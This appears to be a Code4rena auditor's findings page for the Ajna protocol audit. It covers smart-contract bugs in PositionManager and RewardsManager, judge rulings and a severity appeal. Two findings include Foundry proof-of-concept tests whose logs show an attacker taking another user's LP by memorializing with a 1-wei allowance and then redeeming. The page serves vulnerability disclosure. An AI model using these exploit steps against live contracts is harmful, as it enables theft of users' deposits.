Platform: Code4rena
Start Date: 03/05/2023
Pot Size: $60,500 USDC
Total HM: 25
Participants: 114
Period: 8 days
Judge: Picodes
Total Solo HM: 6
Id: 234
League: ETH
Rank: 2/114
Findings: 9
Award: $5,402.17
๐ Selected for report: 3
๐ Solo Findings: 2
845.5499 USDC - $845.55
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L300 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L320
During the call to PositionManager.moveLiquidity()
, liquidity is transferred between position indexes for an amount equal to the calculation returned from IPool(params_.pool).moveQuoteToken
, which can be less than the total liquidity in the bucket from which the transfer is being made. However, PositionManager#L300
still deletes the position from the token regardless.
*This results in a situation where liquidity is only partially transferred and the index of the NFT position has been deleted.*As a result, a portion of the liquidity gets stuck in PositionManager.
Let's take a look at the PositionManager.moveLiquidity
function:
File: 2023-05-ajna\ajna-core\src\PositionManager.sol 271: if (vars.depositTime == 0) revert RemovePositionFailed(); 272:
287: // calculate the max amount of quote tokens that can be moved, given the tracked LP 288: vars.maxQuote = _lpToQuoteToken( 289: vars.bucketLP, 290: vars.bucketCollateral, 291: vars.bucketDeposit, 292: fromPosition.lps, 293: vars.bucketDeposit, 294: _priceAt(params_.fromIndex) 295: );
301: // remove bucket index from which liquidity is moved from tracked positions 300: if (!positionIndex.remove(params_.fromIndex)) revert RemovePositionFailed();
306: // move quote tokens in pool 307: ( 308: vars.lpbAmountFrom, 309: vars.lpbAmountTo, 310: ) = IPool(params_.pool).moveQuoteToken( 311: vars.maxQuote, 312: params_.fromIndex, 313: params_.toIndex, 314: params_.expiry 315: );
317: Position storage toPosition = positions[params_.tokenId][params_.toIndex]; 318: 319: // update position LP state 320: fromPosition.lps -= vars.lpbAmountFrom; 321: toPosition.lps += vars.lpbAmountTo; 322: // update position deposit time to the from bucket deposit time 323: toPosition.depositTime = vars.depositTime; 324:
The issue is that the position is being removed from the user's list in step 3, even though it may not have been fully transferred in step 5.
We can see that this is the expected logic when the full position is not moved:
There is no delete fromPosition
happening, as in the case of `redeemPositions#L380."
The lps
amount for fromPosition
is not set to zero, but is reduced by the actual transferred amount, as seen in PositionManager#L320.
320: fromPosition.lps -= vars.lpbAmountFrom;
This causes the sum equal to fromPosition.lps - vars.lpbAmountFrom
to be simply locked on the contract. In case of transferring 50%
, the remaining 50%
will also be locked until the user replenishes the position in the pool and calls PositionManager.sol#memorializePositions()
on the index where the remaining LPS is located, which will release it to the user. However, the user may accidentally burn
their own NFT (since the position is no longer included in their list, having been removed from there), which would result in the permanent locking of these funds on the PositionManager.sol
contract.
300: if (!positionIndex.remove(params_.fromIndex)) revert RemovePositionFailed();
Other
#0 - c4-judge
2023-05-12T10:05:20Z
Picodes marked the issue as duplicate of #503
#1 - c4-judge
2023-05-27T16:27:54Z
Picodes marked the issue as satisfactory
๐ Selected for report: 0xTheC0der
Also found by: DadeKuma, Haipls, SpicyMeatball, ToonVH, aviggiano, azhar, evmboi32, juancito, kodyvim, ro1sharkm, rvierdiiev, sakshamguruji
34.0183 USDC - $34.02
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L170 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L213
The PositionManager.sol#memorializePositions
method can be called by anyone for anyone, which means that if a user accidentally approves LP on PositionManager.sol
, or initially intended to participate but changed their mind and did not send a transaction to mint an NFT, calling PositionManager.sol#memorializePositions
can result in someone minting an NFT for the pool on their behalf against their wishes, or if it has already been minted, simply calling PositionManager.sol#memorializePositions
can transfer the LP
from the user to PositionManager.sol
against their will.
This can also cause losses for the user if he wanted to do something with his LP tokens, such as send them to another user, or sell them. And a malicious user front-running this transaction and sent user LP to the PositionManager contract impacts:
This is possible because there are 2 points that allow it to be done:
PositionManager.sol#mint
- can be called by anyone for anyone, which makes things easierFile: ajna-core\src\PositionManager.sol 227: function mint( 228: MintParams calldata params_ 229: ) external override nonReentrant returns (uint256 tokenId_) { 233: if (!_isAjnaPool(params_.pool, params_.poolSubsetHash)) revert NotAjnaPool 236: poolKey[tokenId_] = params_.pool; 238: _mint(params_.recipient, tokenId_);
PositionManager.sol#memorializePositions
does not have any restrictions on who can call it, only that the owner of the specified token has approved the LP for the contractFile: ajna-core\src\PositionManager.sol 170: function memorializePositions( 171: MemorializePositionsParams calldata params_ 172: ) external override { 175: IPool pool = IPool(poolKey[params_.tokenId]); 176: address owner = ownerOf(params_.tokenId); 212: // update pool LP accounting and transfer ownership of LP to PositionManager contract 213: pool.transferLP(owner, address(this), params_.indexes);
That allows us to transfer tokens against the owner's will to the PositionManager contract.
There is no direct threat to them, as the owner will take them back later. But there should not be such an opportunity
Tests:
results:
Logs: LP balance of PositionManager before memorialize 0 LP balance of PositionManager after memorialize from attacker for alice 3000000000000000000000
tests:
diff --git a/ajna-core/tests/forge/unit/PositionManager.t.sol b/ajna-core/tests/forge/unit/PositionManager.t.sol index bf3aa40..2ef8c9d 100644 --- a/ajna-core/tests/forge/unit/PositionManager.t.sol +++ b/ajna-core/tests/forge/unit/PositionManager.t.sol @@ -15,6 +15,7 @@ import 'src/interfaces/pool/commons/IPoolErrors.sol'; import '../utils/ContractNFTRecipient.sol'; import '../utils/ContractNFTSpender.sol'; +import '@std/console2.sol'; abstract contract PositionManagerERC20PoolHelperContract is ERC20HelperContract { function testMemorializePositionsTwoAccountsSameBucket() external { address alice = makeAddr("alice"); address bob = makeAddr("bob"); @@ -2741,7 +2744,60 @@ contract PositionManagerERC20PoolTest is PositionManagerERC20PoolHelperContract _positionManager.reedemPositions(params); } } + function testIssue_MissAccessControlForMemorializePositions() external { + address alice = makeAddr("alice"); + address attacker = makeAddr("attacker"); + + uint256 mintAmount = 10_000 * 1e18; + uint256 lpBalance; + uint256 depositTime; + + _mintQuoteAndApproveManagerTokens(alice, mintAmount); + + // call pool contract directly to add quote tokens + uint256[] memory indexes = new uint256[](1); + indexes[0] = 2550; + uint256[] memory amounts = new uint256[](1); + amounts[0] = 3_000 * 1e18; + address[] memory transferors = new address[](1); + transferors[0] = address(_positionManager); + + // alice adds liquidity now + _addInitialLiquidity({ + from: alice, + amount: amounts[0], + index: indexes[0] + }); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice); + uint256 aliceDepositTime = block.timestamp; + assertEq(lpBalance, amounts[0]); + assertEq(depositTime, aliceDepositTime); + + // @audit alice approve LP to PositionManager + changePrank(alice); + _pool.approveLPTransferors(transferors); + _pool.increaseLPAllowance(address(_positionManager), indexes, amounts); + // @audit alice changed mind about sending them to PositionManager + + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("LP balance of PositionManager before memorialize", lpBalance); + + // @audit attacker mint nft for alice forcibly + changePrank(attacker); + + uint256 tokenId = _mintNFT(alice, alice, address(_pool)); + + IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams( + tokenId, indexes + ); + // @audit attacker transfer LP from alice to PositionManager forcibly + changePrank(attacker); + _positionManager.memorializePositions(memorializeParams); + + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("LP balance of PositionManager after memorialize from attacker for alice", lpBalance); + } }
PositionManager.sol#memorializePositions
Access Control
#0 - c4-judge
2023-05-18T17:17:19Z
Picodes marked the issue as duplicate of #356
#1 - c4-judge
2023-05-30T21:47:12Z
Picodes marked the issue as duplicate of #488
#2 - c4-judge
2023-05-30T21:48:04Z
Picodes marked the issue as satisfactory
#3 - c4-judge
2023-05-30T21:48:11Z
Picodes marked the issue as partial-50
#4 - c4-judge
2023-05-30T21:48:18Z
Picodes changed the severity to 3 (High Risk)
1099.2149 USDC - $1,099.21
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L549 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L725
RewardsManage.sol
keeps track of the total number of rewards collected per epoch for all pools:
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol 73: /// @dev `epoch => rewards claimed` mapping. 74: mapping(uint256 => uint256) public override rewardsClaimed; 75: /// @dev `epoch => update bucket rate rewards claimed` mapping. 76: mapping(uint256 => uint256) public override updateRewardsClaimed;
And the rewardsCap
calculation when calculating the reward applies only to the pool, which leads to a situation when the condition is fulfilled rewardsClaimedInEpoch + updatedRewards_ >= rewardsCap
, But rewardsCap
is less than rewardsClaimedInEpoch
:
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol -543: uint256 rewardsCapped = Maths.wmul(REWARD_CAP, totalBurnedInPeriod); 545: // Check rewards claimed - check that less than 80% of the tokens for a given burn event have been claimed. -546: if (rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped) { 548: // set claim reward to difference between cap and reward -549: newRewards_ = rewardsCapped - rewardsClaimedInEpoch_; // @audit rewardsCapped can be less then rewardsClaimedInEpoch_ 550: } 719: uint256 rewardsCap = Maths.wmul(UPDATE_CAP, totalBurned); // @audit in one pool -720: uint256 rewardsClaimedInEpoch = updateRewardsClaimed[curBurnEpoch]; 722: // update total tokens claimed for updating bucket exchange rates tracker 723: if (rewardsClaimedInEpoch + updatedRewards_ >= rewardsCap) { 724: // if update reward is greater than cap, set to remaining difference -725: updatedRewards_ = rewardsCap - rewardsClaimedInEpoch; // @audit rewardsCap can be less then rewardsClaimedInEpoch 726: } 728: // accumulate the full amount of additional rewards -729: updateRewardsClaimed[curBurnEpoch] += updatedRewards_; // @audit increase per epoch
which causes an underflow
erorr in the result updatedRewards_ = rewardsCap - rewardsClaimedInEpoch
where rewardsCap < rewardsClaimedInEpoch
, this error leads to a transaction fail, which will further temporarily/permanently block actions with NFT as unstake/claimRewards
for pools in which rewardsCap
will fail less than the total rewardsClaimedInEpoch
We have 2 instances of this problem::
_calculateNewRewards
_updateBucketExchangeRates
a failure in any of these will result in users of certain pools being unable to withdraw their NFTs as well as the reward
Let's take a closer look at the problem and why this is possible:
File: ajna-core\src\RewardsManager.sol 71: /// @dev `epoch => rewards claimed` mapping. 72: mapping(uint256 => uint256) public override rewardsClaimed; 73: /// @dev `epoch => update bucket rate rewards claimed` mapping. 74: mapping(uint256 => uint256) public override updateRewardsClaimed;
File: ajna-core\src\RewardsManager.sol _calculateAndClaimRewards 396: for (uint256 epoch = lastClaimedEpoch; epoch < epochToClaim_; ) { 410: // update epoch token claim trackers 411: rewardsClaimed[epoch] += nextEpochRewards; 413: } _updateBucketExchangeRates 676: uint256 curBurnEpoch = IPool(pool_).currentBurnEpoch(); 728: // accumulate the full amount of additional rewards 729: updateRewardsClaimed[curBurnEpoch] += updatedRewards_;
File: 2023-05-ajna\ajna-core\src\RewardsManager.sol 526: ( 527: , 528: // total interest accumulated by the pool over the claim period +529: uint256 totalBurnedInPeriod, 530: // total tokens burned over the claim period 531: uint256 totalInterestEarnedInPeriod 532: ) = _getPoolAccumulators(ajnaPool_, nextEpoch_, epoch_); 533: 534: // calculate rewards earned ... 542: +543: uint256 rewardsCapped = Maths.wmul(REWARD_CAP, totalBurnedInPeriod); 544: 545: // Check rewards claimed - check that less than 80% of the tokens for a given burn event have been claimed. 546: if (rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped) { 547: 548: // set claim reward to difference between cap and reward +549: newRewards_ = rewardsCapped - rewardsClaimedInEpoch_; // @audit 550: }
We have a situation where rewardsClaimedInEpoch_
has been updated by other pools to something like 100e18
,
and rewardsCapped
for the other pool was 30e18
, resulting in:
rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped
and of course we catch the underflow at the time of calculating the remainder, 30e18 - 100e18
, since there is no remainder
newRewards_ = rewardsCapped - rewardsClaimedInEpoch_
To check the problem, you need to raise rewardsClaimedInEpoch_
more than the rewardsCap
of a certain pool, with the help of other pools,
rewardsCap
is a percentage of burned tokens in the pool... so it's possible
rewardsClaimedInEpoch > rewardsCap
that updatedRewards_
should be zero, not need calculate remaining differenceInvalid Validation
#0 - c4-sponsor
2023-05-19T19:49:22Z
MikeHathaway marked the issue as sponsor confirmed
#1 - c4-judge
2023-05-30T18:06:49Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2023-05-30T21:50:02Z
Picodes marked the issue as primary issue
#3 - c4-judge
2023-05-30T21:50:28Z
Picodes marked the issue as selected for report
#4 - c4-judge
2023-05-30T21:50:56Z
Picodes changed the severity to 2 (Med Risk)
#5 - Picodes
2023-05-30T21:51:05Z
Giving Medium severity for "Assets not at direct risk, but the function of the protocol or its availability could be impacted"
#6 - BhHaipls
2023-06-02T13:07:51Z
Hi, @Picodes
I would like to ask you to reconsider the severity of the issue. You've classified it as Med
- Assets not at direct risk, but the function of the protocol or its availability could be impacted
.
Upon review, in my opinion, this issue leans more towards HIGH - Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals)
.
Below, I will attempt to present my reasoning and why I think this way:
I've considered 2
metrics to determine severity:
And came up with the following results:
Consequences
The consequence of this issue is that in the event of it happening, NFTs are blocked on the RewardsManager.sol contract with no possibility of their further withdrawal. This is critical and falls under: Assets can be stolen/lost/compromised directly
. Moreover, these are not just NFTs, they are LP positions.
When this problem occurs, the ability for stake/unstake/claimRewards
of the affected pools is closed due to a mathematical error, leading to a simple blockage of interaction with these pools. As it becomes impossible to process the reward update for a given epoch. For pools that weren't affected and managed to process before, they will be able to operate further until the situation repeats.
The main point in deciding whether it's Medium/High
is how likely this problem is to occur.
Here I looked at the dependence in calculations on the number of pools
uint256 rewardsCapped = Maths.wmul(REWARD_CAP, totalBurnedInPeriod); // Check rewards claimed - check that less than 80% of the tokens for a given burn event have been claimed. if (rewardsClaimedInEpoch_ + newRewards_ > rewardsCapped) { // set claim reward to difference between cap and reward newRewards_ = rewardsCapped - rewardsClaimedInEpoch_; }
rewardsClaimedInEpoch_
is a value that sums up across all pools
rewardsCapped
is a value related to the calculation of a single pool and depends on the number of coins burned in the epoch in the selected pool
And there arises a situation when n1 - (n2 + n3...+ nn)
by pools. In reality, it's all more complex and depends on the number of burned coins in the pools, but the essence is that the more pools we have, the higher the chances that this condition simply reverts. And this is no longer an unlikely situation.
Also an example of a highly probable situation:
When there's a HUGE pool and several small ones in the middle. It's enough for only the HUGE pool to update the epoch's reward. This will cause a problem with the condition's execution for all other small pools
This can also be a vector of an attacker who purposely burns an extra amount of coins to increase the reward update on the pool. And causes positions blocking in the contract.
After these considerations, I would like you to reconsider the severity of the problem, as we have two points:
I hope my thoughts will be useful, I understand that I can be wrong and I hope you can clarify if I am not understanding something correctly
Thank you,
#7 - Picodes
2023-06-03T13:13:59Z
Hi, @BhHaipls thanks for your comment. Upon review I agree with your take and will upgrade to High.
#8 - c4-judge
2023-06-03T13:14:14Z
Picodes changed the severity to 3 (High Risk)
237.7565 USDC - $237.76
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L213 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/LPActions.sol#L244 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L390
The user can steal funds from the PositionManager of the same index, and also get large positions for free in PositionManager
The memorializePositions() method lacks a check on the actual LP transferred through pool.transferLP(owner, address(this), params_.indexes);, which leads to the user having the entire LP
amount recorded as position.lps += lpBalance;
, but in reality, at the end of the method, the user's LP tokens will be taken away, with the amount equal to the allowance, which can be as low as 1 wei
.
This allows the user to:
LP
tokens from PositionManager
that are under the same index of a particular pool.LP
tokens, stake them in RewardsManager and thereby withdraw all AJAN
tokens as rewards from RewardsManager
.The root cause of this issue is as follows:
In the memorializePositions() method in PositionManager.sol
:
transferLP
is called from the pool, which takes LP
tokens from the user and transfers them to the contract without checking the actual amount of coins transferred.File: ajna-core\src\PositionManager.sol 170: function memorializePositions( 171: MemorializePositionsParams calldata params_ 172: ) external override { ... 181: for (uint256 i = 0; i < indexesLength; ) { 182: index = params_.indexes[i]; ... 188: (uint256 lpBalance, uint256 depositTime) = pool.lenderInfo(index, owner); 189: 190: Position memory position = positions[params_.tokenId][index]; ... 201: // update token position LP +202: position.lps += lpBalance; // @audit set full user lpBalance like position.lps ... 207: positions[params_.tokenId][index] = position; ... 210: } 212: // update pool LP accounting and transfer ownership of LP to PositionManager contract +213: pool.transferLP(owner, address(this), params_.indexes); //@audit 214: 215: emit MemorializePosition(owner, params_.tokenId, params_.indexes); 216: }
L213
.transferLP
. In line L244
, the minimum amount to be transferred is taken as the minimum between the balance and the approved amount of coins.File: ajna-core\src\libraries\external\LPActions.sol 209: function transferLP( 233: Bucket storage bucket = buckets_[index]; 234: Lender storage owner = bucket.lenders[ownerAddress_]; 240: uint256 allowedAmount = allowances_[ownerAddress_][newOwnerAddress_][index]; 241: if (allowedAmount == 0) revert NoAllowance(); 242: 243: // transfer allowed amount or entire LP balance +244: allowedAmount = Maths.min(allowedAmount, ownerLpBalance); // @audit 245: 246: // move owner LP (if any) to the new owner 247: if (allowedAmount != 0) { ... 265: } 267: // reset allowances of transferred LP 268: delete allowances_[ownerAddress_][newOwnerAddress_][index]; 280: }
This results in a situation where a user with a position of 100e18
, having approved only 1 wei
, will have a position worth 100e18
in PositionManager
but will only transfer 1 wei
to it.
Thus, the user can obtain huge positions for free, which further allows them to do the following:
LP
under the same index in the same pool in PositionManager
, you need to take into account that when withdrawing LP
tokens back, the system considers the entire position balance of 100e18
instead of the actual amount transferred in 1 wei
.File: ajna-core\src\PositionManager.sol 352: function reedemPositions( 353: RedeemPositionsParams calldata params_ 354: ) external override mayInteract(params_.pool, params_.tokenId) { 360: uint256[] memory lpAmounts = new uint256[](indexesLength); 363: 364: for (uint256 i = 0; i < indexesLength; ) { 365: index = params_.indexes[i]; 366: 367: Position memory position = positions[params_.tokenId][index]; 368: ... +377: lpAmounts[i] = position.lps; // @audit ... 386: 387: // approve owner to take over the LP ownership (required for transferLP pool call) +388: pool.increaseLPAllowance(owner, params_.indexes, lpAmounts); // @audit 389: // update pool lps accounting and transfer ownership of lps from PositionManager contract +390: pool.transferLP(address(this), owner, params_.indexes); // @audit 391: 392: emit RedeemPosition(owner, params_.tokenId, params_.indexes); 393: }
position.lps/1
in this way, followed by staking in RewardsManager.sol
and receiving a huge reward.Tests:
In this test, we will analyze the case with another user, and how the first one stole funds from him
We can see from the results that the Attacker stole all of Alice's funds, paying only 5-15 wei for it
Logs: Initiali state: Alice pool LP balance: 10000000000000000000000 Attacker pool LP balance: 2000000000000000000000 PositionManager pool LP balance: 0 After memorialize from Alice: Alice LP pool balance : 0 Attacker LP balance: 2000000000000000000000 PositionManager LP pool balance: 10000000000000000000000 Alice getLP for indexes in PositionManager: 10000000000000000000000 Attacker getLP for indexes in PositionManager: 0 After memorialize from Attacker (with 1 wei allowance): Attacker getLP by indexes: 2000000000000000000000 PositionManager LP pool balance: 10000000000000000000001 Attacker repeat 4 time PositionManager LP pool balance: 10000000000000000000005 Attacker getLP by indexes: 9999999999999999999990 Alice getLP for indexes in PositionManager: 10000000000000000000000 Attacker reedemPositions Alice LP pool balance: 0 Attacker LP balance: 11999999999999999999985 PositionManager LP pool balance: 15 Attacker getLP by indexes: 0 Alice getLP by indexes: 10000000000000000000000
diff --git a/ajna-core/tests/forge/unit/PositionManager.t.sol b/ajna-core/tests/forge/unit/PositionManager.t.sol index bf3aa40..6300093 100644 --- a/ajna-core/tests/forge/unit/PositionManager.t.sol +++ b/ajna-core/tests/forge/unit/PositionManager.t.sol @@ -15,6 +15,7 @@ import 'src/interfaces/pool/commons/IPoolErrors.sol'; import '../utils/ContractNFTRecipient.sol'; import '../utils/ContractNFTSpender.sol'; +import '@std/console2.sol'; abstract contract PositionManagerERC20PoolHelperContract is ERC20HelperContract { @@ -2742,6 +2745,110 @@ contract PositionManagerERC20PoolTest is PositionManagerERC20PoolHelperContract } } + function testIssue_NotCheckFactTransferAmount_transferLP() external { + // test prepare + address alice = makeAddr("alice"); + address attacker = makeAddr("attacker"); + uint256 lpBalance; + uint256 depositTime; + _mintQuoteAndApproveManagerTokens(alice, 10_000 * 1e18); + _mintQuoteAndApproveManagerTokens(attacker, 2_000 * 1e18); // atacker have 1/5 alice balance + + address[] memory transferors = new address[](1); + transferors[0] = address(_positionManager); + + uint256[] memory indexes = new uint256[](1); + indexes[0] = 2050; + + uint256[] memory attackerApproveAmount = new uint256[](1); + attackerApproveAmount[0] = 1 wei; + uint256[] memory aliceApproveAmount = new uint256[](1); + aliceApproveAmount[0] = 10_000 * 1e18; + + // alice adds liquidity now + _addInitialLiquidity({ + from: alice, + amount: 10_000 * 1e18, + index: indexes[0] + }); + // attacker adds liquidity to the same indexes + _addInitialLiquidity({ + from: attacker, + amount: 2_000 * 1e18, + index: indexes[0] + }); + + console2.log("\nInitiali state:"); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice); + console2.log("Alice pool LP balance:\t\t", lpBalance); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], attacker); + console2.log("Attacker pool LP balance:\t\t", lpBalance); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("PositionManager pool LP balance:\t", lpBalance); + + // mint nft for future positions + uint256 tokenId = _mintNFT(alice, alice, address(_pool)); + uint256 tokenIdAttacker = _mintNFT(attacker, attacker, address(_pool)); + + changePrank(alice); + _pool.approveLPTransferors(transferors); + _pool.increaseLPAllowance(address(_positionManager), indexes, aliceApproveAmount); // aprove full lp position from Alice + + IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams( + tokenId, indexes + ); + _positionManager.memorializePositions(memorializeParams); + + console2.log("\nAfter memorialize from Alice:"); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice); + console2.log("Alice LP pool balance :\t\t", lpBalance); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], attacker); + console2.log("Attacker LP balance:\t\t", lpBalance); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("PositionManager LP pool balance:\t", lpBalance); + console2.log("Alice getLP for indexes in PositionManager:\t", _positionManager.getLP(tokenId, indexes[0])); + console2.log("Attacker getLP for indexes in PositionManager:\t", _positionManager.getLP(tokenIdAttacker, indexes[0])); + + changePrank(attacker); + _pool.approveLPTransferors(transferors); + _pool.increaseLPAllowance(address(_positionManager), indexes, attackerApproveAmount); // attacker approve only 1 wei + + memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams( + tokenIdAttacker, indexes + ); + _positionManager.memorializePositions(memorializeParams); + + console2.log("\nAfter memorialize from Attacker (with 1 wei allowance):"); + console2.log("Attacker getLP by indexes:\t\t", _positionManager.getLP(tokenIdAttacker, indexes[0])); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("PositionManager LP pool balance:\t", lpBalance); + + changePrank(attacker); + for(uint256 i; i < 4; i++){ + _pool.increaseLPAllowance(address(_positionManager), indexes, attackerApproveAmount); // attacker approve only 1 wei every time + _positionManager.memorializePositions(memorializeParams); + } + console2.log("\n Attacker repeat 4 time"); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("PositionManager LP pool balance:\t", lpBalance); + console2.log("Attacker getLP by indexes:\t\t", _positionManager.getLP(tokenIdAttacker, indexes[0])); + console2.log("Alice getLP for indexes in PositionManager:\t", _positionManager.getLP(tokenId, indexes[0])); + + IPositionManagerOwnerActions.RedeemPositionsParams memory reedemParams = IPositionManagerOwnerActions.RedeemPositionsParams( + tokenIdAttacker, address(_pool), indexes + ); + _positionManager.reedemPositions(reedemParams); + + console2.log("\n Attacker reedemPositions"); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], alice); + console2.log("Alice LP pool balance:\t\t", lpBalance); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], attacker); + console2.log("Attacker LP balance:\t\t", lpBalance); + (lpBalance, depositTime) = _pool.lenderInfo(indexes[0], address(_positionManager)); + console2.log("PositionManager LP pool balance:\t", lpBalance); + console2.log("Attacker getLP by indexes:\t\t", _positionManager.getLP(tokenIdAttacker, indexes[0])); + console2.log("Alice getLP by indexes:\t\t", _positionManager.getLP(tokenId, indexes[0])); + } }
Token-Transfer
#0 - c4-judge
2023-05-18T10:45:00Z
Picodes marked the issue as duplicate of #256
#1 - c4-judge
2023-05-30T19:12:23Z
Picodes marked the issue as satisfactory
๐ Selected for report: aviggiano
Also found by: 0xSmartContract, 0xTheC0der, 0xcm, ABAIKUNANBAEV, Audinarey, Audit_Avengers, BGSecurity, Bauchibred, Dug, Evo, Haipls, Jerry0x, TS, bytes032, devscrooge, kenta, ladboy233, mrvincere, patitonar, sakshamguruji, tsvetanovv
15.5756 USDC - $15.58
https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L815 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L197 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L259 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L317 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L597
The reward transfer method RewardsManager.sol#_transferAjnaRewards
checks whether there is enough balance to issue the requested amount, in case of insufficient balance issues the balance.
Which leads to the fact that the difference between rewardsEarned_ - ajnaBalance
will simply be written off
.
Also the case when the RewardsManager was deployed but there were no reward tokens
File: ajna-core\src\RewardsManager.sol 811: function _transferAjnaRewards(uint256 rewardsEarned_) internal { 812: // check that rewards earned isn't greater than remaining balance 813: // if remaining balance is greater, set to remaining balance 814: uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this)); +815: if (rewardsEarned_ > ajnaBalance) rewardsEarned_ = ajnaBalance; 816: 817: if (rewardsEarned_ != 0) { 818: // transfer rewards to sender +819: IERC20(ajnaToken).safeTransfer(msg.sender, rewardsEarned_); 820: } 821: }
Which leads to the fact that the staker loses part/all of the reward at the moment, even if the ajnaToken
balance appears on the contract later, since the reward is already marked as issued, he will not be able to receive the part that was simply written off.
Let's consider one of the cases:
RewardsManager.sol
once a month in the amount of 100,000 AJNA
tokens100,000 AJNA
written off
as there were no coins to give him a rewards100,000 AJNA
were added to the RewardsManager.sol
balancewritten off
as fully paidThis is due to the fact that there is no record of the amount actually transferred to the user by the _transferAjnaRewards
method. But the reward will be recorded as a withdrawal in full
File: ajna-core\src\RewardsManager.sol 561: function _claimRewards( 564: uint256 epochToClaim_, 567: ) internal { 568: 569: // revert if higher epoch to claim than current burn epoch 570: if (validateEpoch_ && epochToClaim_ > IPool(ajnaPool_).currentBurnEpoch()) revert EpochNotAvailable(); 578: rewardsEarned += _calculateAndClaimRewards(tokenId_, epochToClaim_); 579: 384: function _calculateAndClaimRewards( 385: uint256 tokenId_, 386: uint256 epochToClaim_ 387: ) internal returns (uint256 rewards_) { 390: uint256 lastClaimedEpoch = stakes[tokenId_].lastClaimedEpoch; 395: // iterate through all burn periods to calculate and claim rewards 396: for (uint256 epoch = lastClaimedEpoch; epoch < epochToClaim_; ) { 406: rewards_ += nextEpochRewards; 411: rewardsClaimed[epoch] += nextEpochRewards; 412: isEpochClaimed[tokenId_][epoch] = true; 413: } 414: } 593: // update last interaction burn event 594: stakeInfo_.lastClaimedEpoch = uint96(epochToClaim_); 596: // transfer rewards to sender 597: _transferAjnaRewards(rewardsEarned); // @audit we do not check how much was actually paid 598: }
We can see this flow in project tests
File: ajna-core\tests\forge\unit\Rewards\RewardsManager.t.sol 1715: changePrank(address(_rewardsManager)); 1716: IERC20Token(address(_ajnaToken)).burn(99_999_990.978586345404952410 * 1e18); 1717: 1718: uint256 managerBalance = _ajnaToken.balanceOf(address(_rewardsManager)); +1719: assertEq(managerBalance, 4.931444746461913452 * 1e18); 1720: 1721: // _minterOne unstakes staked position 1722: _unstakeToken({ 1723: owner: _minterOne, 1724: pool: address(_pool), 1725: tokenId: tokenIdOne, 1726: claimedArray: _epochsClaimedArray(1, 0), 1727: reward: 40.899689081331351737 * 1e18, 1728: indexes: depositIndexes, 1729: updateExchangeRatesReward: 0 1730: }); 1731: +1732: // minter one receives only the amount of 5 ajna tokens available in manager balance instead calculated rewards of 40.214136545950568150 +1733: assertEq(_ajnaToken.balanceOf(_minterOne), managerBalance); 1734: // all 5 tokens available in manager balance were used to reward minter one 1735: assertEq(_ajnaToken.balanceOf(address(_rewardsManager)), 0); 1736:
Added accounting of unpaid reward and the method by which the user will be able to receive it if ajna tokens are again present on the balance
Example:
